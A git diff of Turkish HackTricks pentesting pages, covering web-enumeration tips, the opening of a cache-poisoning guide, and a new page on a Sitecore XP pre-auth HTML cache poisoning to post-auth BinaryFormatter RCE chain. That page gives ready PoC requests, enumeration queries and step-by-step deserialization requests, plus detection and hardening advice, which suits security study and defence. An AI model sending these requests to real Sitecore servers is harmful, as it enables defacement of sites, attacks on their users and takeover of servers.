-- **File Backups**: Tüm dosyaları bulduktan sonra, tüm executable dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek adlandırma için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) araçlarını kullanabilirsiniz.
-- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçları kullanabilirsiniz. Mümkünse, her executable web dosyasında gizli parametreleri aramayı deneyin.
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki broken link'leri bulun; bu link'ler takeover'a açık olabilir.
+- **File Backups**: Tüm dosyaları bulduktan sonra, tüm executable dosyaların yedeklerini arayın ("_.php_", "_.aspx_" ...). Yaygın yedek isimlendirme varyasyonları: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** araçlarını** kullanabilirsiniz.
+- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçları kullanabilirsiniz. Mümkünse, her executable web dosyasında gizli parametreleri arayın.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Tüm dosyaların yorumlarını kontrol edin; **credentials** veya **gizli fonksiyonlar** bulunabilir.
-- Eğer **CTF** oynuyorsanız, yaygın bir taktik sayfa kaynağında tarayıcıyla görünmeyecek şekilde (örneğin sağa yüzlerce **space** koyarak) yorum içinde **bilgi saklamak** veya sayfanın en altına birkaç yeni satırla yorum içinde bilgi gizlemek olabilir.
-- **API keys**: Herhangi bir API key bulursanız farklı platformların API key'lerini nasıl kullanacağınıza dair rehberler vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: **AIza** ile başlayan bir API key (ör. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik) bulursanız, bu key'in hangi API'lere erişebildiğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
-- **S3 Buckets**: Spidering sırasında herhangi bir **subdomain** veya herhangi bir **link** bir **S3 bucket** ile ilişkili ise, bu durumda [**bucket izinlerini kontrol edin**](buckets/index.html).
+- **Comments:** Tüm dosyaların yorumlarını kontrol edin; **credentials** veya **hidden functionality** bulabilirsiniz.
+- Eğer **CTF** oynuyorsanız, "yaygın" bir numara, sayfanın **sağ** tarafına (kaynak kodunu tarayıcıyla açtığınızda veriyi görmemeniz için **yüzlerce** boşluk kullanarak) yorum içinde **bilgi gizlemektir**. Diğer bir olasılık, birkaç yeni satır kullanıp web sayfasının **altında** bir yorum içinde bilgi gizlemektir.
+- **API keys**: Herhangi bir API key bulursanız, farklı platformların API key'lerini nasıl kullanacağınıza dair kılavuzlar vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: AIza ile başlayan bir API key (ör: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik) bulursanız, key'in hangi apilere erişebildiğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
+- **S3 Buckets**: Spidering sırasında herhangi bir **subdomain** veya herhangi bir **link** bir **S3 bucket** ile ilişkili mi diye bakın. Bu durumda, [**bucket'ın permissions**'ını kontrol edin](buckets/index.html).
 
 ### Special findings
 
-**Spidering** ve **brute-forcing** yaparken **dikkat etmeniz gereken ilginç şeyler** çıkabilir.
+**Spidering** ve **brute-forcing** gerçekleştirirken fark etmeniz gereken **ilginç** **şeyler** bulabilirsiniz.
 
 **Interesting files**
 
-- **CSS** dosyaları içinde diğer dosyalara ait **link**'ler arayın.
-- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgileri çıkarabilirsiniz](git.md)
-- Eğer bir _**.env**_ bulursanız api key'ler, db parolaları ve diğer bilgiler çıkabilir.
-- **API endpoints** bulursanız, bunları [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmasalar da büyük ihtimalle dosya gibi "görüneceklerdir".
-- **JS files**: Spidering bölümünde JS dosyalarından path çıkarabilen birçok araçtan bahsedildi. Ayrıca bulunan her JS dosyasını **izlemek** ilginç olabilir; bazı durumlarda bir değişiklik kodda potansiyel bir zafiyetin eklendiğini gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon) kullanılabilir.
-- Keşfedilen JS dosyalarını ayrıca zafiyetler için kontrol etmelisiniz: [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole).
+- **CSS** dosyaları içinde diğer dosyalara işaret eden **link**ler arayın.
+- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkartılabilir](git.md)
+- Eğer bir _**.env**_ bulursanız, api key'ler, db şifreleri ve diğer bilgiler bulunabilir.
+- Eğer **API endpoints** bulursanız, bunları da [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmayabilir, ama muhtemelen dosya gibi "görüneceklerdir".
+- **JS files**: Spidering bölümünde JS dosyalarından path çıkartabilen araçlardan bahsedildi. Ayrıca bulunan her JS dosyasını **monitor** etmek ilginç olabilir; bazı durumlarda bir değişiklik, kodda potansiyel bir zafiyetin eklendiğini gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)** kullanılabilir.**
+- Keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zafiyet içerip içermediğine bakmalısınız.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
-- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- Çoğu durumda kullanılan regular expression'ları anlamanız gerekecektir. Bunun için faydalı siteler: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
-- Form tespit edilen dosyaları da izleyebilirsiniz; bir parametredeki değişiklik veya yeni bir formun ortaya çıkması potansiyel yeni bir zafiyeti gösterebilir.
+- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+- Birçok durumda, kullanılan regular expression'ları anlamanız gerekecektir. Bunun için faydalı olabilir: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
+- Formların tespit edildiği dosyaları da monitor edebilirsiniz; parametredeki bir değişiklik veya yeni bir formun ortaya çıkışı potansiyel yeni bir vulnerable fonksiyonu gösterebilir.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -314,21 +314,22 @@ _Her yeni directory spidering veya brute-forcing sırasında keşfedildiğinde,
 
 **502 Proxy Error**
 
-Eğer herhangi bir sayfa bu **kod** ile yanıt veriyorsa, muhtemelen kötü yapılandırılmış bir proxy'dir. **Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1`** (host header ve diğer yaygın header'larla), **proxy** _**google.com**_'a erişmeye çalışacak ve bir** SSRF** bulmuş olacaksınız.
+Eğer herhangi bir sayfa bu **kodla** cevap veriyorsa, muhtemelen **yanlış yapılandırılmış bir proxy** vardır. **Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1`** (host header ve diğer yaygın header'lar ile), **proxy** _**google.com**_'a erişmeye çalışacak ve böylece bir** SSRF** bulmuş olacaksınız.
 
 **NTLM Authentication - Info disclosure**
 
-Eğer authentication isteyen sunucu **Windows** ise veya oturum açma domain ismi isteyip credentials talep ediyorsa, bir **bilgi sızıntısı** provake edebilirsiniz.\
-Aşağıdaki **header**'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle sunucu "WWW-Authenticate" header'ı içinde iç ağ bilgileri (IIS versiyonu, Windows versiyonu...) ile cevap verecektir.\
-Bunu otomatikleştirmek için **nmap plugin** "_http-ntlm-info.nse_" kullanılabilir.
+Eğer authentication isteyen sunucu **Windows** ise ya da domain adı soran bir login görürseniz, bir **information disclosure** provoke edebilirsiniz.\
+Aşağıdaki **header**'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle, sunucu "WWW-Authenticate" header'ı içinde internal bilgi (IIS version, Windows version...) ile cevap verecektir.\
+Bunu otomatikleştirmek için **nmap plugin** "_http-ntlm-info.nse_" kullanabilirsiniz.
 
 **HTTP Redirect (CTF)**
 
-Bir **Redirection** içine içerik koymak mümkündür. Bu içerik kullanıcıya **gösterilmeyecektir** (tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **bir şey gizlenmiş** olabilir.
+Bir **Redirection** içinde içerik koymak mümkündür. Bu içerik **kullanıcıya gösterilmez** (tarayıcı redirect'i gerçekleştireceğinden) ama burada bir şey **gizlenmiş** olabilir.
 
 ### Web Vulnerabilities Checking
 
-Web uygulaması için kapsamlı bir enumeration yapıldıktan sonra birçok olası zafiyet için kontrol zamanı. Kontrol listesi burada:
+Web uygulamasının kapsamlı bir enumerasyonu yapıldıktan sonra birçok olası zafiyeti kontrol etme zamanı. Kontrol listesi burada bulunabilir:
+
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
@@ -342,7 +343,7 @@ Web zafiyetleri hakkında daha fazla bilgi:
 
 ### Monitor Pages for changes
 
-Sayfa değişikliklerini izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanılabilir; bu değişiklikler zafiyet eklenmesine yol açabilir.
+Sayfalardaki değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz; bu değişiklikler zafiyetlerin eklenmesine neden olabilir.
 
 ### HackTricks Automatic Commands
 ```

src/network-services-pentesting/pentesting-web/sitecore/README.md

@@ -0,0 +1,194 @@
+# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Bu sayfa, Sitecore XP 10.4.1'e karşı pre‑auth XAML handler'dan HTML cache poisoning'e ve authenticated UI flow aracılığıyla BinaryFormatter deserialization ile RCE'ye dönen pratik bir saldırı zincirini özetler. Teknikler benzer Sitecore sürümlerine/bileşenlerine genelleştirilebilir ve test etmek, tespit etmek ve güçlendirmek için somut primitifler sağlar.
+
+- Test edilen etkilenen ürün: Sitecore XP 10.4.1 rev. 011628
+- Düzeltildi: KB1003667, KB1003734 (Haziran/Temmuz 2025)
+
+Ayrıca bakınız:
+
+{{#ref}}
+../../../pentesting-web/cache-deception/README.md
+{{#endref}}
+
+{{#ref}}
+../../../pentesting-web/deserialization/README.md
+{{#endref}}
+
+## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
+
+Giriş noktası, web.config'e kayıtlı pre‑auth XAML handler'dır:
+```xml
+<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
+```
+Erişim yolu:
+```
+GET /-/xaml/Sitecore.Shell.Xaml.WebControl
+```
+Kontrol ağacı, AjaxScriptManager içerir; bu da olay isteklerinde attacker‑controlled fields'i okur ve hedeflenen kontrollerde reflection kullanarak metotları çağırır:
+```csharp
+// AjaxScriptManager.OnPreRender
+string clientId = page.Request.Form["__SOURCE"];      // target control
+string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
+...
+Dispatch(clientId, text);
+
+// eventually → DispatchMethod(control, parameters)
+MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
+if (m != null) m.Invoke(this, e.Parameters);
+
+// Alternate branch for XML-based controls
+if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
+```
+Önemli gözlem: XAML sayfası bir XmlControl örneği içeriyor (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl'ten (bir Sitecore sınıfı) türemektedir; bu, ReflectionUtil.Filter allow‑list'ini (Sitecore.*) geçirmekte ve Sitecore WebControl üzerindeki metodların kilidini açmaktadır.
+
+Zehirleme için sihirli metod:
+```csharp
+// Sitecore.Web.UI.WebControl
+protected virtual void AddToCache(string cacheKey, string html) {
+HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
+if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
+}
+```
+Çünkü xmlcontrol:GlobalHeader hedeflenebiliyor ve Sitecore.Web.UI.WebControl metotları isimleriyle çağrılabiliyor, bu da pre‑auth arbitrary HtmlCache write primitive sağlıyor.
+
+### PoC request (CVE-2025-53693)
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
+Host: target
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+Notlar:
+- __SOURCE, Sitecore.Shell.Xaml.WebControl içindeki xmlcontrol:GlobalHeader'ın clientID'sidir (statik XAML'den türetildiği için genellikle ctl00_ctl00_ctl05_ctl03 gibi sabittir).
+- __PARAMETERS formatı Method("arg1","arg2") şeklindedir.
+
+## Neyi zehirlemeli: Cache anahtar oluşturma
+
+Sitecore kontrolleri tarafından kullanılan tipik HtmlCache anahtar yapısı:
+```csharp
+public virtual string GetCacheKey(){
+SiteContext site = Sitecore.Context.Site;
+if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
+string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
+if (key.Length > 0){
+string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
+if (this.VaryByData)        k += ResolveDataKeyPart();
+if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
+if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
+if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
+if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
+if (this.VaryByQueryString && site?.Request != null)
+k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
+if (this.ClearOnIndexUpdate) k += "_#index";
+return k;
+}
+}
+return string.Empty;
+}
+```
+Bilinen bir sublayout için örnek targeted poisoning:
+```
+__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+## Önbelleğe alınabilir öğeleri ve “vary by” boyutlarını keşfetme
+
+ItemService anonim olarak (mis)exposed olduysa, önbelleğe alınabilir bileşenleri listeleyerek tam anahtarları elde edebilirsiniz.
+
+Quick probe:
+```
+GET /sitecore/api/ssc/item
+// 404 Sitecore error body → exposed (anonymous)
+// 403 → blocked/auth required
+```
+Önbelleğe alınabilir öğeleri ve bayrakları listele:
+```
+GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
+```
+Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate gibi alanlara bakın. Cihaz adları şu şekilde listelenebilir:
+```
+GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
+```
+### Side‑channel enumeration kısıtlı kimlikler altında (CVE-2025-53694)
+
+ItemService sınırlı bir hesabı (ör. ServicesAPI) taklit ettiğinde ve boş bir Results dizisi döndürdüğünde bile TotalCount yine de pre‑ACL Solr hits'lerini yansıtabilir. Wildcards ile item gruplarını/ids'i brute‑force yaparak TotalCount'ın daralmasını izleyebilir ve dahili içerik ile cihazları haritalayabilirsiniz:
+```
+GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
+→ "TotalCount": 3
+GET /...term=%2B_templatename:Device;%2B_group:aa*
+→ "TotalCount": 2
+GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
+→ narrow to a specific item
+```
+## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
+
+Sink:
+```csharp
+// Sitecore.Convert
+byte[] b = Convert.FromBase64String(data);
+return new BinaryFormatter().Deserialize(new MemoryStream(b));
+```
+convertToRuntimeHtml pipeline step ConvertWebControls aracılığıyla erişilebilir; bu, id'si {iframeId}_inner olan bir elementi arar ve base64 decodes + deserializes eder; ardından ortaya çıkan string'i HTML'e injects eder:
+```csharp
+HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
+string text2   = inner?.GetAttributeValue("value", "");
+if (text2.Length > 0)
+htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
+```
+Tetikleme (kimlik doğrulandı, Content Editor yetkileri). FixHtml dialogu convertToRuntimeHtml'i çağırır. UI tıklamaları olmadan baştan sona:
+```
+// 1) Start Content Editor
+GET /sitecore/shell/Applications/Content%20Editor.aspx
+
+// 2) Load malicious HTML into EditHtml session (XAML event)
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc" value="poc"></iframe>
+<test id="test_inner" value="BASE64_GADGET"></test>
+</html>
+
+// 3) Server returns a session handle (hdl) for FixHtml
+{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
+
+// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
+
+
+{{#ref}}
+../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+{{#endref}}
+
+## Tam zincir
+
+1) Pre‑auth saldırgan, XAML AjaxScriptManager üzerinden reflection kullanarak WebControl.AddToCache'ı çağırıp HtmlCache'i keyfi HTML ile zehirler.  
+2) Zehirlenmiş HTML, oturum açmış Content Editor kullanıcısını FixHtml akışına yönlendiren JavaScript sunar.  
+3) FixHtml sayfası convertToRuntimeHtml → ConvertWebControls akışını tetikler; bu akış BinaryFormatter ile saldırgan kontrollü base64'i deserializes ederek Sitecore app pool identity altında RCE'ye yol açar.
+
+## Tespit
+
+- Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` için `__ISEVENT=1`, şüpheli `__SOURCE` ve `__PARAMETERS=AddToCache(...)` içeren istekler.  
+- ItemService probing: `/sitecore/api/ssc` wildcard sorgularında ani artışlar, boş `Results` ile yüksek `TotalCount`.  
+- Deserialization attempts: `EditHtml.aspx` ardından `FixHtml.aspx?hdl=...` ve HTML alanlarında olağanüstü büyük base64 değerleri.
+
+## Güçlendirme
+
+- Sitecore yamalarını KB1003667 ve KB1003734 uygulayın; pre‑auth XAML handler'larını engelleyin/devre dışı bırakın veya katı doğrulama ekleyin; `/-/xaml/`'i izleyin ve rate‑limit uygulayın.  
+- BinaryFormatter'ı kaldırın/değiştirin; convertToRuntimeHtml erişimini kısıtlayın veya HTML düzenleme akışlarında güçlü sunucu tarafı doğrulaması uygulayın.  
+- `/sitecore/api/ssc`'yi loopback veya kimlik doğrulanmış rollere kapatın; avoid impersonation patterns that leak `TotalCount`‑based side channels.  
+- Content Editor kullanıcıları için MFA/least privilege uygulayın; cache poisoning'den kaynaklanan JS yönlendirme etkisini azaltmak için CSP'yi gözden geçirin.
+
+## Referanslar
+
+- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)  
+- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)  
+- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-web/cache-deception/README.md

@@ -4,129 +4,131 @@
 
 ## Fark
 
-> **Web cache poisoning ile web cache deception arasındaki fark nedir?**
+> **web cache poisoning ile web cache deception arasındaki fark nedir?**
 >
-> - **Web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü niyetli içerikler depolamasını sağlar ve bu içerikler önbellekten diğer uygulama kullanıcılarına sunulur.
-> - **Web cache deception**'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe depolamasını sağlar ve ardından bu içeriği önbellekten geri alır.
+> - In **web cache poisoning**, saldırgan uygulamanın cache'ine bazı kötü amaçlı içerikler depolanmasını sağlar ve bu içerik cache'den diğer uygulama kullanıcılarına sunulur.
+> - In **web cache deception**, saldırgan uygulamanın cache'ine başka bir kullanıcıya ait bazı hassas içeriklerin depolanmasını sağlar ve daha sonra bu içeriği cache'den elde eder.
 
 ## Cache Poisoning
 
-Cache poisoning, istemci tarafı önbelleğini manipüle ederek istemcilerin beklenmedik, kısmi veya bir saldırganın kontrolü altındaki kaynakları yüklemeye zorlamayı amaçlar. Etkisi, etkilenen sayfanın popülaritesine bağlıdır, çünkü kirlenmiş yanıt yalnızca önbellek kontaminasyonu süresince sayfayı ziyaret eden kullanıcılara sunulur.
+Cache poisoning, istemci tarafı cache'i manipüle ederek istemcilerin beklenmeyen, kısmi veya saldırganın kontrolünde olan kaynakları yüklemeye zorlanmasını hedefler. Etkinin kapsamı, etkilenen sayfanın popülaritesine bağlıdır; çünkü zehirlenmiş yanıt yalnızca cache'in kirlenme süresi boyunca sayfayı ziyaret eden kullanıcılara servis edilir.
 
-Cache poisoning saldırısının gerçekleştirilmesi birkaç adım içerir:
+Bir cache poisoning saldırısının uygulanması birkaç adımı içerir:
 
-1. **Anahtarsız Girdilerin Belirlenmesi**: Bunlar, bir isteğin önbelleğe alınması için gerekli olmasa da, sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin belirlenmesi, önbelleği manipüle etmek için sömürülebileceğinden kritik öneme sahiptir.
-2. **Anahtarsız Girdilerin Sömürülmesi**: Anahtarsız girdiler belirlendikten sonra, bir sonraki adım bu parametreleri saldırganın yararına sunucunun yanıtını değiştirmek için nasıl kötüye kullanacağını bulmaktır.
-3. **Kirlenmiş Yanıtın Önbelleğe Alındığının Garantilenmesi**: Son adım, manipüle edilmiş yanıtın önbelleğe kaydedildiğinden emin olmaktır. Bu şekilde, önbellek kirlenmişken etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alacaktır.
+1. **Identification of Unkeyed Inputs**: Bunlar, bir isteğin cache'lenmesi için gerekli olmamasına rağmen sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdileri belirlemek önemlidir çünkü cache'i manipüle etmek için kullanılabilirler.
+2. **Exploitation of the Unkeyed Inputs**: Unkeyed inputs belirlendikten sonra, bu parametreleri saldırgana fayda sağlayacak şekilde sunucu yanıtını değiştirmek için nasıl kötüye kullanacağınızı belirlemeniz gerekir.
+3. **Ensuring the Poisoned Response is Cached**: Son adım, manipüle edilmiş yanıtın cache'e kaydedildiğinden emin olmaktır. Böylece cache zehirlendiği sürece etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alır.
 
-### Keşif: HTTP başlıklarını kontrol et
+### Keşif: HTTP headers'ı kontrol et
 
-Genellikle, bir yanıt **önbelleğe kaydedildiğinde** bununla ilgili bir **başlık olacaktır**, hangi başlıklara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache başlıkları**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Genellikle bir yanıt **cache'e kaydedildiğinde** bunu belirten bir **header** olur; hangi header'lara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
 
-### Keşif: Önbellek hata kodları
+### Keşif: Hata kodlarının cache'lenmesi
 
-Eğer yanıtın bir önbelleğe kaydedildiğini düşünüyorsanız, **kötü bir başlıkla istek göndermeyi** deneyebilirsiniz, bu da **400 durum kodu** ile yanıtlanmalıdır. Ardından isteği normal bir şekilde erişmeye çalışın ve eğer **yanıt 400 durum koduysa**, bunun zayıf olduğunu bilirsiniz (ve hatta bir DoS gerçekleştirebilirsiniz).
+Eğer bir yanıtın bir cache'de saklandığını düşünüyorsanız, **hatalı bir header ile istek göndermeyi** deneyebilir ve bunun **status code 400** ile cevaplandırılması gerekir. Daha sonra isteğe normal şekilde erişmeyi deneyin; eğer **yanıt 400 status code** ise, bu durumun zafiyetli olduğunu (ve hatta bir DoS gerçekleştirebileceğinizi) gösterir.
+
+Daha fazla seçenek için şunlara bakabilirsiniz:
 
-Daha fazla seçenek bulabilirsiniz:
 
 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}
 
-Ancak, **bazen bu tür durum kodlarının önbelleğe alınmadığını** unutmayın, bu nedenle bu test güvenilir olmayabilir.
+Ancak, bazen bu tür status kodlarının **cache'lenmediğini** unutmayın; bu nedenle bu test her zaman güvenilir olmayabilir.
 
-### Keşif: Anahtarsız girdileri tanımlama ve değerlendirme
+### Keşif: Unkeyed inputs'ı belirleme ve değerlendirme
 
-[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak **parametreleri ve başlıkları zorlayabilir** ve bunların **sayfanın yanıtını değiştirebileceğini** kontrol edebilirsiniz. Örneğin, bir sayfa `X-Forwarded-For` başlığını kullanarak istemcinin buradan script yüklemesini belirtiyor olabilir:
+[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kullanarak sayfanın **yanıtını değiştirebilecek** parametreleri ve header'ları **brute-force** edebilirsiniz. Örneğin, bir sayfa istemciye script'i oradan yüklemesini belirlemek için `X-Forwarded-For` header'ını kullanıyor olabilir:
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
-### Arka uç sunucudan zararlı bir yanıt elde etme
+### Arka uç sunucusundan zararlı bir yanıt elde etme
 
-Parametre/başlık belirlendikten sonra, **nasıl** **temizlendiğini** ve **nerede** **yansıtıldığını** veya başlıktan gelen yanıtı nasıl etkilediğini kontrol edin. Bunu herhangi bir şekilde kötüye kullanabilir misiniz (bir XSS gerçekleştirmek veya kontrolünüzde bir JS kodu yüklemek? bir DoS gerçekleştirmek?...)
+Parametre/başlığı belirledikten sonra bunun nasıl temizlendiğini (sanitised) ve yanıtın neresinde yansıtıldığını veya başlığın yanıtı nasıl etkilediğini kontrol edin. Yine de bunu kötüye kullanabilir misiniz (ör. XSS gerçekleştirmek veya sizin kontrolünüzdeki bir JS kodunu yüklemek? DoS yapmak?...)
 
